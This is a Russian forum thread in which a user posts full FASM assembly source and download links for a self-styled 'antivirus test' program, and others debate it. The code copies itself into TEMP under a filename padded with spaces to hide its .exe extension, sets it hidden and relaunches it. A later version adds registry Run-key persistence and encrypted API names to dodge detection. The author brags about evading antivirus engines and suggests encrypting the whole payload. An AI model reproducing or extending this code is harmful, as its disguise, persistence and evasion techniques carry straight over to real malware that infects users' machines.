Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Программная инженерия > Безопасность, Шифрование
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 20.08.2014, 17:28   #1
Malriser
xor esp, esp
Форумчанин
 
Регистрация: 11.02.2014
Сообщений: 135
По умолчанию Программа тестирования антивируса

Для начала: я эту тему под разными никами создавал и на других форумах, поэтому если где найдете - то это не копипаста от туда =D

Привет, уважаемые форумчане! Была раньше прекрасная тестовая программа EICAR, а почему бы такую же не сделать и сейчас, подумал я.

В общем, написал программу, которая старается скрыто от антивирусов скопироваться в папку TEMP с именем "stdafx.cpp .exe" и запуститься от туда. Если ей это удается - она выдает сообщение об успехе, это значит, что ваша антивирусная защита не сработала.

План: врубаем антивирус, врубаем программу, смотрим результат.

Virustotal: https://www.virustotal.com/ru/file/c...1d43/analysis/

Если ваш антивирус не детектирует - не волнуйтесь, есть еще проактивная защита ( HIPS ), которой вирустотал не проверяет. Именно поэтому надо на компьютере.

Если боитесь на хостовой машине - виртуальная система.

Скачать:
http://rghost.ru/57569332
https://www.sendspace.com/file/3h08k4



Исходный код для тех, кто уж совсем боится:

Код:
include 'win32ax.inc'
 
section '.hide' code readable writeable executable
 
SelfCopy:
 
call    [GetCommandLine]
push    eax
push    eax
call    [lstrlen]
pop     ecx
dec     eax
cmp     byte [ecx + eax], '!'
je      Installed
 
 
push    PAGE_READWRITE
push    MEM_COMMIT
push    513
push    0
call    [VirtualAlloc]
mov     esi, eax
push    MAX_PATH
push    esi
push    0
call    [GetModuleFileName]
lea     edi, [esi + 257]
push    edi
push    MAX_PATH
call    [GetTempPath]
push    FileName
push    edi
call    [lstrcat]
push    0
push    edi
push    esi
call    [CopyFile]
test    al, al
je      ErrCopy
push    FILE_ATTRIBUTE_HIDDEN
push    edi
call    [SetFileAttributes]
mov     byte [esi], '!'
mov     byte [esi + 1], 0
push    SW_SHOW
push    0
push    esi
push    edi
mov     dword [esi + 2], 'open'
mov     dword [esi + 6], 0
lea     eax, [esi + 2]
push    eax
push    0
call    [ShellExecute]
retn
body db 'Successfully infected your system: please, make sure that your antivirus is working! Every good defence must block this action!',0
title db 'Successfully!',0
 
Installed:
 
push    MB_ICONWARNING
push    title
push    body
push    0
call    [MessageBox]
retn
 
bd db 'ERROR! Well, i can not successfully call WinApi function CopyFileA from Kernel32.dll!',0
ttl db 'Can not copy',0
 
ErrCopy:
push    MB_ICONERROR
push    bd
push    ttl
push    0
call    [MessageBox]
retn
 
EndSelf:
 
FileName db 'stdafx.cpp                                                                                     .exe',0
start:
 
push    PAGE_EXECUTE_READWRITE
push    MEM_COMMIT
mov     eax, SelfCopy
mov     ebx, EndSelf
sub     ebx, eax
push    ebx
push    0
call    [VirtualAlloc]
test    eax, eax
je      ErrAlloc
xor     ecx, ecx
mov     edx, SelfCopy
push    esi
mov     esi, eax
@@10:
mov     al, byte [ecx + edx]
mov     byte [esi + ecx], al
inc     ecx
cmp     ecx, ebx
jl      @@10
mov     eax, esi
pop     esi
lea     ecx, [@@20]
push    ecx
jmp     eax
@@20:
push    0
call    [ExitProcess]
ATitle db 'Can not allocate virtual memory',0
ABody db 'LoL! I have already failed on allocating memory with VirtualAlloc function =D',0
ErrAlloc:
push    MB_ICONERROR
push    ATitle
push    ABody
push    0
jmp     @@20
 
.end start

Зачем я это создал? Да просто хочется чего-нибудь нового
Malriser вне форума Ответить с цитированием
Старый 20.08.2014, 18:58   #2
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,330
По умолчанию

А зачем асемблером, если то же самое можно написать в 10 строчек на С?
И зачем копировать SelfCopy перед запуском?

Последний раз редактировалось waleri; 20.08.2014 в 19:00.
waleri вне форума Ответить с цитированием
Старый 20.08.2014, 18:59   #3
Malriser
xor esp, esp
Форумчанин
 
Регистрация: 11.02.2014
Сообщений: 135
По умолчанию

Цитата:
Сообщение от waleri Посмотреть сообщение
А зачем асемблером, если то же самое можно написать в 10 строчек на С?
Я хз как в 10 строчек, приведи код, пожалуйста, если не сложно. Мне многие вещи проще кодить на ассемблере)

Цитата:
Сообщение от waleri
И зачем копировать SelfCopy перед запуском?
Это так скажем маленькие извращения, чтобы уж слишком тупо не было, поочередно проинвокав апи эти.

Сейчас думаю автозапуск прикрутить, но детект сильно вырастит, из-за чего придется обходить АВ. Как думаешь, нужен тут еще авторан для теста?

UPD: добавил автозапуск в HKEY_CURRENT_USER\Software\Microsof t\Windows\CurrentVersion\Run с ключем "Antivirus Test" и путем до копии файла в Temp

Код:
include 'win32ax.inc'

section '.hide' code readable writeable executable

AutoKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0
ValueName db 'Antivirus Test',0
_CopyFileA db 'DpqzGjmfB',0
_kernel32 db 'Kernel32.dll',0
hkey dd ?

SelfCopy:

call    [GetCommandLine]
push    eax
push    eax
call    [lstrlen]
pop     ecx
dec     eax
cmp     byte [ecx + eax], '!'
je      Installed


push    PAGE_READWRITE
push    MEM_COMMIT
push    513
push    0
call    [VirtualAlloc]
mov     esi, eax
push    MAX_PATH
push    esi
push    0
call    [GetModuleFileName]
lea     edi, [esi + 257]
push    edi
push    MAX_PATH
call    [GetTempPath]
push    FileName
push    edi
call    [lstrcat]
push    edi
call    [DeleteFile]
push    0
push    edi
push    esi

;antiav
xor     ecx, ecx
xor     ebx, ebx
@@40:
push    ebx
inc     ecx
cmp     ecx, 3h
jl @@40
call    [OpenProcess]
call    [GetLastError]
sub     eax, 56h
test    al, al
je      @@20
xor     ecx, ecx
lea     edx, [_CopyFileA]
@@Decrypt:
sub     byte [edx + ecx], al
inc     ecx
cmp     ecx, 9h
jl      @@Decrypt

;antiav end

push    _CopyFileA
push    _kernel32
call    [GetModuleHandle]
push    eax
call    [GetProcAddress]
call    eax
test    al, al
je      ErrCopy
push    FILE_ATTRIBUTE_HIDDEN
push    edi
call    [SetFileAttributes]


push    0
push    hkey
push    0
push    KEY_ALL_ACCESS
push    0
push    0
push    0
push    AutoKey
push    HKEY_CURRENT_USER
call    [RegCreateKeyExA]
push    edi
call    [lstrlen]
push    eax
push    edi
push    REG_SZ
push    0
push    ValueName
push    dword [hkey]
call    [RegSetValueEx]
push    dword [hkey]
call    [RegCloseKey]


mov     byte [esi], '!'
mov     byte [esi + 1], 0
push    SW_SHOW
push    0
push    esi
push    edi
mov     dword [esi + 2], 'open'
mov     dword [esi + 6], 0
lea     eax, [esi + 2]
push    eax
push    0
call    [ShellExecute]
retn
body db 'Successfully infected your system: please, make sure that your antivirus is working! Every good defence must block this action!',0
title db 'Successfully!',0

Installed:

push    MB_ICONWARNING
push    title
push    body
push    0
call    [MessageBox]
retn

bd db 'ERROR! Well, i can not successfully call WinApi function CopyFileA from Kernel32.dll!',0
ttl db 'Can not copy',0

ErrCopy:
push    MB_ICONERROR
push    ttl
push    bd
push    0
call    [MessageBox]
retn

EndSelf:

FileName db 'stdafx.cpp                                                                                     .exe',0
start:

push    PAGE_EXECUTE_READWRITE
push    MEM_COMMIT
mov     eax, SelfCopy
mov     ebx, EndSelf
sub     ebx, eax
push    ebx
push    0
call    [VirtualAlloc]
test    eax, eax
je      ErrAlloc
xor     ecx, ecx
mov     edx, SelfCopy
push    esi
mov     esi, eax
@@10:
mov     al, byte [ecx + edx]
mov     byte [esi + ecx], al
inc     ecx
cmp     ecx, ebx
jl      @@10
mov     eax, esi
pop     esi
lea     ecx, [@@20]
push    ecx
jmp     eax
@@20:
push    0
call    [ExitProcess]
ATitle db 'Can not allocate virtual memory',0
ABody db 'LoL! I have already failed on allocating memory with VirtualAlloc function =D',0
ErrAlloc:
push    MB_ICONERROR
push    ATitle
push    ABody
push    0
jmp     @@20

.end start
Компилятор - FASM.

https://www.virustotal.com/ru/file/0...is/1408550365/

У касперыча палит HIPS, Nod32 и DrWeb молчат, кто палит эвристикой видно на вирустотале.

Последний раз редактировалось Malriser; 20.08.2014 в 20:06.
Malriser вне форума Ответить с цитированием
Старый 22.08.2014, 12:29   #4
Utkin
Старожил
 
Аватар для Utkin
 
Регистрация: 04.02.2009
Сообщений: 17,351
По умолчанию

Цитата:
В общем, написал программу, которая старается скрыто от антивирусов скопироваться в папку TEMP с именем "stdafx.cpp .exe" и запуститься от туда. Если ей это удается - она выдает сообщение об успехе, это значит, что ваша антивирусная защита не сработала.
Я не думаю что это те самые условия для вируса. Многие антивирусы позволяют некоторые "подозрительные" действия до тех пор пока не произошло что-то "ужасное". То что программа скопировалась и запустилась с Темпа это не смертельно. Попробуйте скопироваться и запуститься из папки Windows.
Маньяк-самоучка
Utkin появился в результате деления на нуль.
Осторожно! Альтернативная логика
Utkin вне форума Ответить с цитированием
Старый 22.08.2014, 12:34   #5
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,330
По умолчанию

Цитата:
Сообщение от Utkin Посмотреть сообщение
Попробуйте скопироваться и запуститься из папки Windows.
...не будучи админом.

Раз ваша программа уже запущена, зачем ей копироваться еще куда-то?
То, что вы делаете на данный момент - это банальный инсталлятор коих и так выше крыши - NSIS, MSI...
waleri вне форума Ответить с цитированием
Старый 30.08.2014, 01:59   #6
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Цитата:
То что программа скопировалась и запустилась с Темпа это не смертельно.
Боле того. Так делает добрая половина инcталляторов. Самым первым вирусом такого типа, стал Installshield, а затем и все прочие потянулись.

Malriser, вы чуть более чем полностью недооцениваете антивирусы. Когда-то антивирус был тем самым крикуном по любому поводу, и без повода, и даже на самого пользователя пищал.

Сейчас же идет типичная игра в шпиона, пока зловред "выясняет" наличие антивируса, провоцируя его/скрытно от всех рабтая, антивирус никак себя не выдает, продолжая анализировать действие потенциального вируса, исследуя методику распространения файла.

Ну скопировал ты вирус в 100500 папок, пусть и на системном диске, и чо? Пользователю тоже может быть скучно, и может делать тоже самое.

А попробуй ка размножаться, заменяя другие EXE файлы на свой, под теми же атрибутами файлов. Очень быстро огребешь за какой-нибудь worm.selfcopy
Человек_Борща вне форума Ответить с цитированием
Старый 02.09.2014, 19:30   #7
Malriser
xor esp, esp
Форумчанин
 
Регистрация: 11.02.2014
Сообщений: 135
По умолчанию

Цитата:
Сообщение от Человек_Борща Посмотреть сообщение
Боле того. Так делает добрая половина инcталляторов. Самым первым вирусом такого типа, стал Installshield, а затем и все прочие потянулись.

Malriser, вы чуть более чем полностью недооцениваете антивирусы. Когда-то антивирус был тем самым крикуном по любому поводу, и без повода, и даже на самого пользователя пищал.

Сейчас же идет типичная игра в шпиона, пока зловред "выясняет" наличие антивируса, провоцируя его/скрытно от всех рабтая, антивирус никак себя не выдает, продолжая анализировать действие потенциального вируса, исследуя методику распространения файла.

Ну скопировал ты вирус в 100500 папок, пусть и на системном диске, и чо? Пользователю тоже может быть скучно, и может делать тоже самое.

А попробуй ка размножаться, заменяя другие EXE файлы на свой, под теми же атрибутами файлов. Очень быстро огребешь за какой-нибудь worm.selfcopy
Бро, я всего-лишь показываю на сколько легко сбить детект антивируса.

Кстати, та моя программка-то, теперь палится во всю. Если она безвредная, скажи, почему антивирусы ее с радостью добавили в базу?

Ссылка на старый детект еще осталась, сравни с детектом теперь:

https://www.virustotal.com/ru/file/9...is/1409671620/

Контрольная сумма другая из-за того, что ключ для шифрования строк изменил. ( Смотри раздел "Поведение" )

И да, сравни что будет если пошифровать весь код и при запуске его расшифровывать.

Тот же файл:

https://www.virustotal.com/ru/file/e...is/1409671776/

Смотри раздел поведение.

Ну и как, нормально это? Нафига они вообще нужны, если эмуль у них никакой, и надеяться лишь на сигнатуры, которые сбить - как нех делать.

Кстати, если шифровать, то зацени, как свалили целых три антивируса, а это уже означает, что пусть там хоть супер-пупер вирус, который они детектируют с помощью эмулятора, их так же можно обойти

Не шифрованный: https://www.virustotal.com/ru/file/0...is/1408550365/
Шифрованный: https://www.virustotal.com/ru/file/e...is/1409671776/


P.S. Ты сам напиши программу, которая не имеет видимых окон и копируется в Temp, добавляясь на автозапуск и запускает себя из папки Temp, после чего залей на вирустотал и сравни с моим детектом. Как тебе? А ведь делает одно и тоже, а детект будет разный, совершенно разный. Это опять показывает изъяны...

Последний раз редактировалось Malriser; 02.09.2014 в 19:34.
Malriser вне форума Ответить с цитированием
Старый 02.09.2014, 21:06   #8
Vapaamies
Ваш К. О.
Участник клуба
 
Аватар для Vapaamies
 
Регистрация: 26.12.2012
Сообщений: 1,770
По умолчанию

Цитата:
Сообщение от Malriser Посмотреть сообщение
Бро, я всего-лишь показываю на сколько легко сбить детект антивируса.
Аффтар, тебя надо лечить электричеством.
Vapaamies вне форума Ответить с цитированием
Старый 05.09.2014, 00:53   #9
Malriser
xor esp, esp
Форумчанин
 
Регистрация: 11.02.2014
Сообщений: 135
По умолчанию

Цитата:
Сообщение от Vapaamies Посмотреть сообщение
Аффтар, тебя надо лечить электричеством.
Конкретнее, пожалуйста.

Я же не сорцы какого-то трояна кидаю, я лишь кидаю доказательства, дабы люди прозрели от иллюзии безопасности.
Malriser вне форума Ответить с цитированием
Старый 05.09.2014, 07:12   #10
Utkin
Старожил
 
Аватар для Utkin
 
Регистрация: 04.02.2009
Сообщений: 17,351
По умолчанию

То что Вы описали не является опасным. Я Вам предложил задачу. Скопируйтесь незаметно в винду и запуститесь оттуда без администратора.
Маньяк-самоучка
Utkin появился в результате деления на нуль.
Осторожно! Альтернативная логика
Utkin вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа тестирования ПО Vaik00 Помощь студентам 8 26.04.2013 09:02
программа тестирования indira2005 БД в Delphi 0 10.04.2012 20:30
Программа тестирования Rashgild Помощь студентам 2 14.07.2011 04:10
Программа тестирования dani92 Общие вопросы Delphi 5 26.01.2010 11:05
Программа Тестирования. Spiker01 Паскаль, Turbo Pascal, PascalABC.NET 3 06.01.2009 13:14